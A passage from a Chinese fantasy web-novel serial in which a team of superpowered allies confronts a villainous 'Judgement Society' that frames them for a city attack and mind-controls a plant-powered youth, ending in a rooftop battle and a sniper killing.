“没时间了。”费勇低头,光光突然跳到他的肩膀上,用纽扣眼睛蹭了蹭他的脸颊。他想起风行者的牺牲,想起费振南最后的笑容,影子里的金色纹路突然亮了起来,“有些账,必须早点算清楚。”
夏艳玲抱着布娃娃,突然指着仓库的天花板:“看!”
众人抬头,只见光光身上的淡蓝色光粒正透过通风管道,往基地的每个角落飘去。那些光粒所过之处,原本因**受损的线路纷纷冒出火花,随后竟奇迹般地恢复了供电。
应急灯熄灭,白炽灯亮起,仓库里一片通明。
光光落在夏艳玲怀里,打了个哈欠,变回普通布娃娃的样子。
“是风行者哥哥。”夏艳玲把耳朵贴在娃娃身上,轻声说,“他说,路上小心。”
费勇的眼眶有些发热。他转身走向门口,影子在地面上轻轻晃动,金色的纹路与灯光交织,形成一道温暖的光带。
“出发。”
第129章:重建与裂痕
基地的金属大门被藤蔓缠绕的那一刻,费勇突然觉得有点不真实。
苏清月催生的绿萝顺着锈蚀的门框往上爬,叶片在晨光里闪着油亮的光泽,把“破晓”两个斑驳的金属字遮得只剩个边角。老鬼拄着拐杖站在台阶上,指挥研究员们把风行者的遗物搬进仓库,其中那个银色打火机被他用红布小心翼翼地包着,像捧着什么稀世珍宝。
“费勇!”林悦的声音从通讯器里炸响,带着电流的噼啪声,“特调科那帮官僚又在放屁!说我们私藏危险异能者,要求三天内交出所有成员名单!”
费勇低头看了眼自己的影子。金色纹路在阳光下淡得几乎看不见,却在他握紧拳头时微微发烫——那是费振南残留的能量在共鸣。他刚结束影界领域的巩固,现在整个基地的影子都像有了生命,能感知到五十米内任何金属异动,包括林悦此刻捏碎的咖啡杯。
“别理他们。”费勇走到基地顶端的瞭望台,城市的轮廓在晨雾里若隐若现。风行者**的痕迹还留在东边的楼宇上,像道未愈合的伤疤,“等处理完夜枭的事,我跟你去特调科一趟。”
“你?”林悦的声音透着怀疑,“上次你去特调科档案室,差点把人家天花板掀了。这次去科长办公室,打算直接拆墙?”
费勇忍不住笑了。确实,上次为了找裁决会的卧底证据,他的影傀儡不小心碰倒了档案室的承重柱,现在特调科还挂着“施工中”的牌子。
“这次用文明点的方式。”他说,指尖划过瞭望台的栏杆。影子顺着金属蔓延,在地面织出一张细密的网——那是他新掌握的能力,能通过影子监测基地周围的能量波动,比任何警报器都灵敏。
身后传来脚步声,苏清月抱着本线装书走来,书页边缘卷得像波浪。她眼下有淡淡的青黑,显然又是通宵没睡。
“找到新线索了?”费勇问。
苏清月把书摊开在栏杆上,泛黄的纸页上画着个复杂的阵法,中央的图案与影界坐标图上的红点几乎重合。“这是爷爷留下的《暗影秘录》,”她指着阵法边缘的小字,“上面说‘影界坐标对应上古封印,封印者为暗影神祇,以情绪为食,以暗影为躯’。”
费勇的目光落在“情绪为食”四个字上,突然想起夏艳玲的异能。小姑娘此刻应该在医疗室,抱着修好的布娃娃给伤员分发糖果——风行者的**让不少研究员受了轻伤,她的治愈光粒比任何药物都管用。
“你的意思是……”
“影界坐标图指向的可能不是通道,”苏清月的指尖在阵法上轻轻点了点,“而是封印地。判官想打开的,或许是关押暗影神祇的牢笼。”
费勇的影子突然剧烈波动起来。他感觉到影界深处传来一股熟悉的气息,阴冷、贪婪,像有什么东西正顺着坐标图的纹路往外钻——那气息与判官的“绝对裁决”能量同源,却强大百倍。
“他在加速。”费勇低声说,“夜枭提到的701研究所核心数据,恐怕就是解除封印的钥匙。”
瞭望台的楼梯传来“噔噔”的脚步声,夏艳玲抱着布娃娃跑上来,小脸红扑扑的。布娃娃的补丁被重新缝过,用的是风行者那件破夹克上的布料,边缘还沾着点没洗干净的油渍。
“清月姐姐,费勇哥哥。”她仰起头,眼睛里映着晨光,“下面的叔叔们在说笑话,说风行者哥哥炸飞的鞋子卡在了仓库屋顶上,像只黑色的鸽子。”
苏清月笑着揉了揉她的头发:“艳玲要不要去看看?说不定能找到另一只。”
夏艳玲摇摇头,突然把布娃娃往费勇怀里一塞:“光光说,有坏人在笑。”
费勇接住布娃娃的瞬间,指尖传来一阵刺骨的寒意。娃娃的纽扣眼睛里,竟倒映出一团扭曲的黑影,黑影的嘴角咧开个诡异的弧度,像在无声地大笑。
“是判官。”费勇的声音沉下来,“他能通过影界感知我们的位置。”
苏清月立刻握住夏艳玲的手,绿色藤蔓从她袖中滑出,在三人周围织成护盾:“他想干什么?现在动手对他没有好处。”
“他在等。”费勇看着布娃娃眼睛里的黑影逐渐消散,“等我们主动送上门。701研究所,恐怕是他设好的陷阱。”
夏艳玲突然抱住费勇的胳膊,小脸埋在他的袖子上:“妈妈说过,陷阱里往往藏着糖果。”她抬起头,眼睛亮晶晶的,“说不定我们能找到爸爸的线索呢?”
费勇的心猛地一软。他想起影界深处那三道模糊的身影,想起父母最后的嘱托,影子里的金色纹路突然亮了起来,温暖得像阳光。
“对,”他握紧布娃娃,“说不定能找到。”
***下午的基地会议开得像场闹剧。
林悦摔门进来时,特调科的加密文件还在她手里冒着电火花。“那群老顽固!”她把文件拍在会议桌上,纸页边缘瞬间焦黑,“我说要公开异能者存在的真相,他们居然说‘会引起社会恐慌’!恐慌你个大头鬼!裁决会都快把城市炸了,还在乎恐慌?”
老鬼慢悠悠地喝着茶,茶叶在杯子里打着转:“别气别气,特调科历来如此。当年你父亲不就是因为坚持公开‘觉醒潮’真相,才被调到边缘部门的吗?”
林悦的动作顿住了,手指无意识地摩挲着文件上的特调
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科徽章——那是她父亲留下的遗物,边缘已经磨得发亮。
“我爸说过,真相或许会伤人,但谎言只会养出更大的怪物。”她的声音低了些,“这次我不会让他失望。”
费勇推开门时,正好听见这句话。他手里拿着刚整理好的701研究所资料,其中一份标注着“107号实验体”的档案,照片上的年轻男人笑得像团火——那是他的父亲,费振南的双胞胎哥哥。
“会议可以开始了。”费勇把资料推到桌中央,“根据夜枭的招供,判官会在三天后启动701研究所的影石阵,我们必须在那之前赶到。”
夏艳玲突然举起手,布娃娃的胳膊被她拽得老长:“我也要去。光光说,那里有妈妈留下的东西。”
苏清月看了费勇一眼,后者点头:“一起去。你的情绪能量或许能克制暗影神祇。”
林悦皱起眉:“太危险了。701研究所周围全是裁决会的执法者,我们带着孩子……”
“我不是孩子!”夏艳玲把布娃娃往桌上一放,娃娃突然站起来,叉着腰瞪向林悦,“光光说,你上次被空间碎片划伤,还是我用治愈光粒救的呢!”
林悦被堵得说不出话,耳根微微发红。确实,风行者**那天,她的胳膊被碎石划了道深可见骨的口子,是夏艳玲的金色光粒让伤口在半小时内结痂。
“行吧行吧,小祖宗。”林悦举起双手投降,“带上你,但必须跟紧我,不许乱跑。”
夏艳玲立刻笑了,布娃娃也跟着点头,逗得老鬼直乐。
会议结束时,夕阳正把基地的影子拉得老长。费勇站在窗边,看着研究员们在操场上安装新的防御装置,苏清月在给藤蔓浇水,林悦在对着通讯器吼特调科的人,夏艳玲抱着布娃娃追一只灰色的鸽子——那鸽子叼着片绿萝叶,飞得歪歪扭扭。
他的影子里,金色纹路与夕阳交织,形成一道温暖的光带。影界深处的那股阴冷气息还在徘徊,但费勇突然不怕了。
因为他不再是孤身一人。
他的身边有会用雷电劈官僚的林悦,有能在古籍里找到答案的苏清月,有抱着布娃娃也敢怼敌人的夏艳玲,还有风行者留在布娃娃上的超音速能量,费振南融入影子的温暖……
这些光,足够照亮任何阴影。
“费勇!”林悦的声音从门口传来,“特调科的支援申请批下来了,明天一早出发。”
“好。”费勇转身,影子在他身后轻轻晃动,像在点头。
他看向桌上的701研究所资料,照片里父亲的笑容与记忆中的重合。
等着我,爸,妈。
我们来了。
第130章:下一个猎场
费勇盯着电脑屏幕上跳动的光标,指尖无意识地敲击着桌面——影子顺着他的动作在键盘上蔓延,把“701研究所防御布局”几个字拓印在桌面上,像幅诡异的黑色版画。
“费勇,特调科的装甲车已经在门口了。”林悦的声音从门口传来,她正把配枪别在腰后,战术背心上还别着枚崭新的特调科徽章,“老鬼说裁决会的执法者最近在研究所周围频繁活动,我们得提前……”
她的话卡在喉咙里。费勇的影子正像活物般扭曲,金色纹路在黑暗中亮起,把整个房间照得如同水底。电脑屏幕上,一封未读邮件的发件人栏闪烁着诡异的红光,标题只有两个字:“请柬”。
“怎么了?”苏清月抱着医疗箱走进来,绿萝藤从箱角探出来,轻轻缠上费勇的手腕——那是她新研究的“生命监测藤”,能实时感知队友的能量波动。此刻藤蔓的叶片正微微发颤,“你的能量很不稳定。”
费勇没说话,只是点开了邮件。附件加载的瞬间,房间里的灯光突然熄灭,只有电脑屏幕的冷光映着三张紧绷的脸。
视频画面粗糙得像用*****拍的。镜头晃过一片布满裂纹的灰色地面,空气中漂浮着淡紫色的雾气,隐约能听见石块摩擦的“咯吱”声。然后画面猛地一稳,定格在一个巨大的石阵中央。
影石阵。
十二块一人高的黑色岩石围成圆形,表面刻满螺旋状的纹路,纹路里流淌着淡蓝色的光——和费勇影子里的金色纹路不同,这种蓝色更冷,像冻结的火焰。石阵中央的地面上,用某种发光液体画着个复杂的符号,正是苏清月在《暗影秘录》里见过的封印阵。
一个穿着黑色风衣的身影站在石阵中央,背对着镜头。他的右手抬起,指尖划过最近的一块岩石,那些蓝色纹路突然亮了起来,在地面投下扭曲的影子,像无数只挣扎的手。
“费勇。”
声音通过劣质麦克风传来,带着金属摩擦般的沙哑,却精准地刺中每个人的神经。那人缓缓转过身,兜帽滑落,露出张毫无表情的脸——左眉骨有道月牙形的疤痕,正是判官。
他的眼睛在镜头前亮得惊人,瞳孔里倒映着石阵的蓝光:“十年前,你父母在这个石阵前做出了选择。现在,轮到你了。”
林悦的手瞬间按在枪上,电流在她指尖噼啪作响:“他在拖延时间!这视频说不定是预录的,想引我们……”
“闭嘴。”费勇的声音低沉得像从地底传来,他的影子已经铺满了整个房间,金色纹路与屏幕上的蓝色纹路产生共鸣,发出细微的嗡鸣,“让他说。”
判官像是听见了他的话,嘴角勾起个冰冷的弧度:“701研究所的影石阵,是连接影界与现实的最后节点。你父母当年就是在这里试图摧毁它,阻止‘暗影神祇’降临……可惜,失败了。”
苏清月突然抓住费勇的胳膊,医疗箱里的古籍掉在地上,摊开的那页正好是封印阵的解析:“他在撒谎!《暗影秘录》里说影石阵是用来加固封印的,不是连接通道!”
判官似乎笑了一声,弯腰捡起块碎石,捏碎在掌心:“古籍?青禾堂那些被篡改过的残卷?苏小姐,你爷爷当年就是因为发现了真相,才被自己最信任的人灭门。”他顿了顿,目光突然扫向镜头外,“哦对了,你父母的研究笔记,现在就在我手里。”
费勇的影子猛地炸开,桌上的咖啡杯瞬间被黑影吞噬,连渣都没剩下。林悦下意识地挡在他身前,雷电在她周身形成蓝色的护罩:“费勇,别中他的计!”
“计?”判官的声音里带着嘲弄,“明天正午,影石阵的能量会达到峰值。你来,我就告诉你你父母的结局——是生是死,藏在哪个空间,他们留下的‘暗影容器’在哪里。你不来……”
画面突然晃动起来,像是有人撞到了摄像头。镜头歪向石阵角落,那里竖着根锈迹斑斑的铁链,铁链末端锁着个蜷缩的人影。那人穿着破烂的白色实验服,长发遮住了脸,只能看见裸露的手腕上刻着串数字:701-001。
“不……”费勇的呼吸骤然停滞。
就在这时,那人似乎察觉到镜头,缓缓抬起头。长发滑落,露出张与费勇几乎一模一样的脸——只是左脸颊上,有一道和判官眉骨处同样形状的疤痕。更诡异的是,他的额头布满了螺旋状的纹路,那些纹路正随着石阵的蓝光一起跳动,与费勇影子里的金色纹路完美重合。
“哥……”那人的嘴唇动了动,声音微弱得像蚊子叫。
画面瞬间黑了下去。
房间里一片死寂,只有电脑主机的嗡鸣在回荡。过了足足半分钟,夏艳玲抱着布娃娃从门外探进头来,小脸上还沾着饼干屑:“费勇哥哥,装甲车的叔叔说……”
她的话没说完就停住了。布娃娃“光光”突然从她怀里跳出来,纽扣眼睛死死盯着电脑屏幕,身上的补丁裂开黑色的纹路——那是风行者的能量残留,此刻正剧烈地颤抖着。
“光光说,那个人身上有爸爸的味道。”夏艳玲的声音带着哭腔,小手紧紧抓住费勇的衣角,“但是好冷,像掉进冰水里。”
费勇猛地站起身,影子在他身后展开,形成一道巨大的黑色屏障,将整个房间笼罩其中——这是他第一次在基地内展开完整的影界领域。领域内,所有物体的影子都在向他汇报信息:林悦的雷电护罩在颤抖,苏清月的绿萝藤在疯狂生长,夏艳玲的布娃娃正释放出淡蓝色的光粒……
“清月。”他的声音平静得可怕,领域内的金色纹路却亮得刺眼,“准备最好的医疗设备,带足镇定剂和能量抑制剂。”
苏清月立刻点头,手指在医疗箱上快速点动,绿萝藤顺着她的动作缠上桌面,织成个绿色的药架:“明白。还需要带上‘醒神花’吗?针对精神控制的那种。”
“要。”
“林悦。”费勇转向门口,“通知特调科,原定计划提前。让他们派最好的狙击手,封锁研究所周围三公里,允许自由射击。”
林悦愣了一下,随即掏出通讯器:“没问题。不过特调科的老顽固们肯定会啰嗦,需要我……”
“告诉他们,”费勇的影子突然化作一把长刀,在空气中劈出刺耳的破空声,“不去的话,明天正午过后,这座城市可能就没了。”
林悦看着他眼底跳动的金色纹路,突然明白了什么。她不再多问,对着通讯器吼道:“给我接科长!立刻!马上!”
最后,费勇看向夏艳玲。小姑娘正把布娃娃抱在怀里,用小手轻轻拍着娃娃的背,像是在安慰它。光光的纽扣眼睛里,还残留着刚才画面里的蓝光。
“艳玲,”他蹲下身,影子在他和小姑娘之间织成一张柔软的黑色地毯,“你说过,陷阱里往往藏着糖果。”
夏艳玲点点头,把布娃娃举到他面前:“光光说,那个和你长得一样的人在哭。他想回家。”
费勇的心像是被什么东西揪了一下。他想起十年前那个雨夜,父母把他塞进远亲的车里,父亲的手在他头上摸了摸,说:“小勇,等我们处理完事情,就带你去游乐园。”
那是他最后一次见到他们。
“那我们就去带他回家。”费勇握住夏艳玲的小手,她的指尖传来温
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暖的触感,“这次,你跟我们一起去。你的光粒,或许能让他暖和起来。”
夏艳玲的眼睛亮了起来,用力点头:“嗯!光光也会帮忙的!”
布娃娃像是听懂了她的话,突然张开双臂,抱住了费勇的手指。
***正午的阳光透过装甲车的防弹玻璃照进来,在地板上投下斑驳的光影。费勇靠着椅背闭目养神,影子在他身下蔓延,与装甲车的金属部件融为一体——这样能实时感知周围三公里内的金属异动,比任何雷达都管用。
林悦正在调试通讯器,嘴里念念有词地骂着特调科的技术人员。苏清月在整理医疗箱,绿萝藤从箱缝里钻出来,在她手腕上绕成个绿色的手环。夏艳玲坐在中间,抱着布娃娃数着窗外掠过的树,数到第十七棵时突然停下。
“费勇哥哥,”她突然说,“光光说,前面有很多带着刀的影子。”
费勇猛地睁开眼。影界领域内,数十个金属阴影正在前方的岔路口**,形状像是裁决会执法者标配的能量斧。
“准备战斗。”他低声说,影子在他手中化作两把黑色的短刃,刃口流动着金色的光,“清月,护好艳玲。林悦,给他们来点‘惊喜’。”
林悦咧嘴一笑,指尖的雷电噼啪作响:“早就等着了。”
装甲车即将冲过岔路口的瞬间,费勇操控影子猛地拽动方向盘。车子以一个诡异的角度横过来,恰好避开执法者从两侧射出的能量网。林悦抓住机会按下按钮,车顶上的**瞬间展开,蓝色的电流顺着**喷出,在地面形成一张巨大的电网——冲在最前面的几个执法者刚触碰到电网,就浑身抽搐着倒在地上。
“漂亮!”费勇赞了一声,操控影子从车底钻出,化作数根黑色的绳索,将剩下的执法者牢牢捆在树上。
苏清月趁机催生绿萝藤,绿色的藤蔓像蛇一样缠上执法者的武器,瞬间将其绞碎:“别杀他们,可能有活口。”
夏艳玲抱着布娃娃探出头,布娃娃突然张开嘴,喷出一团金色的光粒。光粒落在被捆的执法者身上,那些人突然抱着头惨叫起来,脸上露出恐惧的表情——那是夏艳玲的“情绪具象化”,把他们内心的恐惧变成了实体。
“光光说,他们在害怕影石阵里的东西。”夏艳玲认真地说。
费勇的目光变得锐利。他走到一个还在惨叫的执法者面前,影子化作尖刺抵住对方的喉咙:“说,影石阵里到底有什么?”
执法者的瞳孔涣散,嘴里胡乱喊着:“判官大人……神祇要醒了……我们都是祭品……”
费勇皱眉,刚想再问,那执法者突然浑身抽搐,皮肤迅速变得灰败——是裁决会的自毁程序。
“该死。”林悦一脚踹在旁边的树上,树干瞬间被雷电劈成两半,“又是这招!”
苏清月检查了其他执法者,摇了摇头:“都**。自毁程序比上次快了三倍。”
费勇看向701研究所的方向。那里的天空比别处暗了些,隐约能看见淡紫色的雾气在**。影界领域内,那道与他影子纹路相同的气息越来越清晰,带着种熟悉的……悲伤?
“走吧。”他转身走向装甲车,“别让判官等急了。”
夏艳玲突然拉住他的手,布娃娃的纽扣眼睛亮了起来:“光光说,那个和你长得一样的人在叫你的名字。”
费勇的脚步顿了顿,随即握紧了手中的影刃。
阳光穿过他的影子,在地面投下一道长长的光带。光带的尽头,701研究所的轮廓越来越清晰,像头蛰伏的巨兽,正等着猎物自投罗网。
但这一次,他们不是猎物。
第131章:裁决会的栽赃计划
装甲车的轮胎刚碾过701研究所外围的铁丝网,费勇手腕上的影子突然像被烫到般蜷缩起来。他猛地按住耳机,影界领域瞬间铺开——三公里外的城市中心,一股狂暴的植物能量正以惊人的速度扩张,带着熟悉的混乱波动。
“等等!”他一把拽住正要下车的林悦,指尖的影子顺着她的战术背心爬上通讯器,“市中心有情况。”
林悦的耳机里立刻传来特调科接线员的尖叫:“林顾问!紧急事件!中央大街出现失控异能者,植物系,藤蔓已经吞噬了三个街区!”
苏清月的绿萝藤突然从医疗箱里暴起,在车顶上织成实时投影——画面里,无数墨绿色的藤蔓像疯长的蛇,正顺着写字楼的玻璃幕墙往上爬,叶片边缘泛着诡异的紫黑色,触碰到的金属栏杆瞬间被腐蚀出蜂窝状的孔洞。
“那是……”苏清月的脸色骤变,指尖的藤蔓不由自主地颤抖,“是‘腐心藤’,青禾堂古籍里记载的变异品种,需要极强的精神力才能控制,一旦失控就会吞噬周围所有生命能量。”
夏艳玲怀里的布娃娃突然用缝补的手指指向投影角落。那里有个被藤蔓包裹的身影,裸露的脖颈上隐约闪过一道红光——像枚烙印,与判官施加的“审判标记”一模一样。但当镜头扫过时,那道红光又诡异地消失了,只剩下记者歇斯底里的嘶吼:“据目击者称,该异能者隶属于非法组织‘破晓’,这已经是本月第三起异能者伤人事件……”
“放**狗屁!”林悦一拳砸在车门上,电流顺着金属车身炸开,把车外的碎石都劈成了粉末,“这分明是裁决会的标记!他们剪辑了画面!”
费勇的影子已经完全黑化,金色纹路在其中翻滚如岩浆。他盯着投影里那株疯狂生长的腐心藤,突然发现藤蔓的缠绕轨迹很奇怪——看似杂乱无章,却精准地避开了所有载有儿童的车辆,像是在刻意控制破坏范围。
“不对劲。”他伸手按住苏清月的肩膀,影界领域的感知力透过她的绿萝藤延伸出去,“这股能量虽然狂暴,但核心很稳定。操控者的意识没乱,他在……求救。”
话音刚落,投影里的藤蔓突然剧烈晃动,在一栋商场的外墙上拼出三个扭曲的字:救我。
“看到了吗?”费勇猛地推开车门,影子在地面化作滑行板,“清月,带艳玲回基地,用‘镇灵草’配置抑制药剂。林悦,跟我去现场。”
“等等!”夏艳玲突然把布娃娃塞进费勇怀里,小脸上沾着的饼干屑还没擦干净,“光光说,那个人身上有和我一样的‘线’,细细的,在脑子里动。”
布娃娃的纽扣眼睛突然亮起红光,在费勇手心里投射出一串模糊的画面:穿白大褂的人往针管里注射紫色液体,然后扎进那个植物系异能者的后颈,对方嘶吼着挣扎,脖颈上的标记就是那时浮现的。
“精神控制。”苏清月立刻反应过来,迅速往医疗箱里塞了把银色小刀,“这是‘断念刃’,能切断精神丝线,但必须贴近目标。费勇,小心,能同时操控腐心藤和异能者的,只有裁决会的‘精神控制’审判长。”
装甲车在中央大街入口处被警戒线拦住时,藤蔓已经爬满了交通银行的穹顶。费勇拽着林悦钻进旁边的小巷,影子在墙面上铺开,像块黑色的地毯托着两人滑行。路过一家奶茶店时,他突然停下,影子化作钩子勾住柜台上的两瓶柠檬汁,扔给林悦一瓶:“补充糖分,等会儿有你累的。”
林悦刚拧开瓶盖,就看见费勇的影子顺着排水管道往上爬,在墙面上拓出密密麻麻的光点——那是影界领域标记出的藤蔓节点。“看到那些亮点了吗?”他的声音从头顶传来,人影已经站在天台边缘,“那是能量**点,用你的雷电劈那里,别用全力,会伤到被控制的人。”
“知道了知道了,比我妈还啰嗦!”林悦仰头灌了半瓶柠檬汁,电流顺着喉咙滑下去,在胸腔里炸出噼啪的响声。她踩着费勇铺好的影子台阶跳上天台,指尖凝聚出网球大小的雷球,“左边第三个光点?”
“右边第二个,笨蛋。”费勇的影子突然化作巨手,抓住条从侧面袭来的藤蔓,硬生生拧成了麻花,“他在试探我们的位置。”
雷球精准地击中目标,藤蔓应声炸开墨绿色的汁液。诡异的是,那些汁液落在地上后,竟像有生命般往回蠕动,汇聚成条细细的红线,钻进写字楼的通风管道。
“找到了。”费勇的影子顺着红线追过去,在玻璃幕墙上画出个清晰的人形轮廓,“十九楼,靠窗的办公室。”
林悦刚要凝聚雷矛,就被费勇按住手腕。他指了指楼下——特调科的防暴车正在驱散围观群众,车身上的摄像头正对着他们的方向,记者们的**短炮像蛇一样对准天台。
“别用大招。”费勇的影子在两人身上裹了层伪装,看起来就像普通的上班族,“他们在拍我们。”
话音未落,那株腐心藤突然发出刺耳的嘶鸣,所有藤蔓同时转向天台,叶片竖起如刀,在阳光下闪着寒光。被包裹在中心的异能者终于露出脸——是个二十多岁的年轻人,眼睛瞪得滚圆,瞳孔里布满血丝,嘴角却咧开着诡异的笑容,像是有人提着线在操控他的表情。
“救……我……”年轻人的嘴唇艰难地动着,藤蔓突然疯狂收缩,勒得他吐出一口血沫,“他在……逼我……”
“精神审判长在通过他说话。”苏清月的声音从耳机里传来,带着电流的杂音,“我检测到强烈的精神干扰波,费勇,用你的影界领域隔绝他!”
费勇的影子猛地冲天而起,在天台上方织成黑色的穹顶。影界领域展开的瞬间,年轻人瞳孔里的血丝淡了些,他突然用尽全身力气嘶吼:“裁决会给了我‘强化剂’,说能治我妹妹的病……我没想到……”
“小心!”林悦突然拽着费勇扑倒在地。刚才他们站的位置,一根水桶粗的藤蔓带着紫黑色的毒液砸下来,把天台砸出个两米宽的坑。
费勇趁机翻滚到藤蔓根部,影子化作断念刃刺进去。刀刃接触到藤蔓的瞬间,他清晰地感觉到一股冰冷的精神力顺着刀身爬上来,
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像条毒蛇要钻进他的脑子里。
“就是现在!”他吼道。
林悦的雷电早已蓄势待发。蓝色的雷网顺着藤蔓蔓延,精准地避开年轻人的身体,只在精神丝线上炸开——十九楼的办公室里传来一声闷哼,那股冰冷的精神力瞬间消退。
腐心藤的生长速度明显减慢,叶片上的紫黑色渐渐褪去。年轻人瘫坐在藤蔓堆里,看着自己布满勒痕的手腕,突然捂着脸哭起来:“我对不起我妹妹……他们说只要我配合,就给她用特效药……”
费勇刚要上前,眼角的余光突然瞥见对面楼顶的反光。他想也没想就扑过去,用影子把年轻人裹成茧——**擦着他的肩膀飞过,打在藤蔓上,爆出一团紫色的烟雾。
“狙击手!”林悦的雷电立刻在天台上织成防护网,“是裁决会的灭口小队!”
烟雾散去时,年轻人已经没了气息。他的眉心有个细小的血洞,和之前那些被灭口的执法者一模一样。费勇的影子在他身上扫过,只找到半支破碎的注射器,里面残留的液体散发着和影石阵雾气相同的味道。
楼下突然传来更密集的尖叫。费勇低头看去,特调科的防暴车正在播放刚才的画面——经过剪辑后,只剩下他操控影子“攻击”失控者的片段,配文赫然是:“破晓组织内讧,异能者自相残杀”。
“操!”林悦狠狠砸碎了手里的对讲机,碎片溅在地上,还在滋滋地冒着电,“判官这老狐狸!他根本不是要灭口,是要逼特调科对我们动手!”
费勇的影子突然覆盖住整个天台。他蹲下身,指尖的金色纹路渗入年轻人的影子——那里还残留着最后的记忆碎片:白色的实验室,标着“701”的门牌,穿白大褂的人举着注射器说:“这是最后一支强化剂,用了它,你妹妹就能活下去……”
“强化剂和701有关。”他站起身,影子在身后凝聚成巨大的黑翼,“他们想一石二鸟,既栽赃我们,又测试强化剂的效果。”
夏艳玲的声音突然从耳机里传来,带着哭腔:“费勇哥哥,光光说那个坏人在笑,在……电视台里。”
苏清月的投影立刻切换到本地新闻频道。画面里,主播正对着镜头义正辞严地谴责“破晓组织的**”,而背景屏幕上,某家商场的大屏幕闪过一个模糊的黑影——左眉骨的月牙形疤痕在阳光下清晰可见,嘴角挂着冰冷的笑。
“他在告诉我们,这只是开始。”费勇的黑翼猛地展开,带着他和林悦跃下天台,“回基地,我们得抢在特调科动手前,找到强化剂的源头。”
藤蔓正在枯萎,露出被缠绕的街道。特调科的警车呼啸而来,警灯的红光在费勇的影子上明明灭灭。林悦一边躲开流弹一边骂:“等这事结束,我非把特调科那些睁眼瞎的监控全劈了不可!”
费勇突然笑了一声,影子在地面上画出条新的路线:“别劈监控,留着,正好让他们看看,谁才是真正的怪物。”
他的影子里,金色纹路越来越亮,像要把那些藏在暗处的龌龊,全都烧个干净。
第132章:三人小队的首次联合作战
费勇的影子在写字楼外墙铺开时,林悦正踩着避雷针往上蹿。她的作战靴底冒着蓝火花,每蹬一下就炸开半米高的电弧,战术背心上的特调科徽章被电流烤得发烫,在阳光下闪得像颗廉价LED灯。
“左边!”她突然偏头躲过条横扫过来的藤蔓,耳机里传来苏清月的急促呼吸声,“第三根承重柱后面,有精神波动!”
费勇的影界领域瞬间聚焦过去。在常人看不见的维度里,一缕银灰色的丝线正从十三楼的百叶窗钻出来,像根缝衣针精准地扎进失控者后颈——那是精神审判长的“意识导管”,能直接操控目标的运动神经。
“清月,镇静花准备好了吗?”费勇的影子顺着玻璃幕墙的缝隙往里钻,在天花板上织成张黑色的网,网眼处隐约透出金色纹路,“我数到三就放。”
“等等!”苏清月的声音带着植物汁液的腥气,“这株腐心藤被注射过变异剂,普通镇静花会刺激它加速分泌毒液。我加了点‘锁阳草’的提取物,需要……”
“需要三秒钟生效是吧?”林悦已经摸到十三楼的窗台,指尖的雷球噼啪作响,把玻璃震出蛛网纹,“正好,我这招也需要三秒蓄力。”
费勇没再说话。他的影子突然从写字楼的所有光源处爆发,电梯口的应急灯、办公室的台灯、甚至手机屏幕的微光,都瞬间被黑色吞噬。整栋楼像被扔进墨水瓶,只有失控者周围还亮着圈诡异的绿光——那是腐心藤自身的荧光。
“一。”
林悦的雷球开始旋转,电流在她手臂上织成银白色的铠甲,连睫毛上都挂着细碎的电花。她死死盯着那缕银灰色的精神丝线,舌尖尝到淡淡的铁锈味——那是雷霆能量过载的征兆。
“二。”
苏清月蹲在对面楼的空调外机上,医疗箱被她拆成了临时花盆。三株半开的白色花朵正在藤蔓上摇晃,花瓣边缘泛着浅紫色,那是加了锁阳草提取物的“改良镇静花”。她的指尖缠着圈绿藤,藤蔓末端的吸盘紧紧扒着瓷砖,把她的心跳频率同步传递给花朵。
“三!”
费勇的影子猛地收紧。那张覆盖整层楼的黑网突然收缩成茧,将失控者和周围的藤蔓牢牢裹住。腐心藤的尖啸声戛然而止,只能听见藤蔓撞击影茧的闷响,像有人在敲鼓。
几乎同时,林悦的雷球脱手而出。蓝色的电流没有直接击中目标,而是在影茧外围炸开,形成个不断收缩的电网——银灰色的精神丝线遇到电流瞬间变得僵直,像被冻住的面条。
“就是现在!”苏清月的绿藤突然暴涨,带着三朵镇静花穿过两栋楼之间的空隙,精准地贴在影茧表面。白色的花瓣在接触到影子的瞬间绽开,释放出带着草木清香的白雾,腐心藤撞击影茧的力道明显变弱了。
“有效!”林悦刚松了口气,突然发现电网里的精神丝线开始蠕动,像要挣脱束缚,“不对劲,这丝线在吸收电流!”
费勇的影茧突然透出金色纹路。他的声音带着喘息,显然维持影界领域对精神丝线的压制并不轻松:“清月,看看他的生命能量!”
苏清月立刻将绿藤探进影茧。藤蔓接触到失控者皮肤的瞬间,她的脸色骤变:“下降得太快了!他的能量在被精神丝线抽走,就像……就像在给什么东西充电!”
影茧里传来年轻人模糊的**:“救……救我妹妹……他们说……强化剂能治好她……”
“强化剂是什么样的?”费勇追问,同时操控影子在影茧上开了个小口,让更多镇静花的雾气渗进去,“瓶子上有标记吗?”
“紫……紫色的……像糖浆……”年轻人的声音越来越弱,影茧内侧开始渗出暗红色的液体,“瓶底……有个符号……像蛇缠着手……”
苏清月的瞳孔骤然收缩:“是裁决会的‘生命提取’标记!他们用强化剂引诱异能者,其实是在培养能量容器!”
话音未落,影茧突然剧烈震动。费勇感觉一股强大的精神冲击撞在影界领域上,金色纹路瞬间黯淡了几分。他低头看向对面的写字楼,十三楼的百叶窗后面,隐约有个穿黑色风衣的人影正在后退。
“审判长要跑!”林悦的雷电再次凝聚,这次她瞄准的是百叶窗的位置,“费勇,能困住他吗?”
“试试!”费勇的影子顺着墙壁往十三楼爬,却在即将接触到窗户时突然停滞——那里的空间似乎被扭曲了,影子一靠近就会变得模糊。
“是空间能力!”苏清月突然喊道,“他和空间碎片审判长在一起!”
影茧里的年轻人突然发出一声短促的惨叫。费勇赶紧撤去影茧,只见年轻人的胸口多了个血洞,鲜血正汩汩往外冒。他的眼睛还圆睁着,似乎想说什么,嘴唇却只能徒劳地翕动。
苏清月的绿藤立刻缠上去,试图输送治愈能量,却被费勇一把抓住手腕。他的影子在年轻人身上扫过,指尖的金色纹路微微发亮:“别白费力气,**上涂了‘噬能毒’,会吞噬你的治愈能量。”
林悦已经冲到十三楼的办公室,却只看到打开的窗户和窗台上的半截黑色手套。她捏碎手套上的纤维,电流顺着指尖流过,却什么信息也没捕捉到:“该死!他们清理过痕迹了!”
费勇蹲下身,轻轻合上年轻人的眼睛。他的影子在地面上拓印出刚才年轻人提到的符号——蛇缠着手的图案,旁边还隐约有串数字:701-017。
“701研究所的第十七号实验体。”苏清月的声音带着颤抖,她认出这个编号格式和青禾堂古籍里记载的“十年前失踪异能者名单”一模一样,“他不是第一个,也不会是最后一个。”
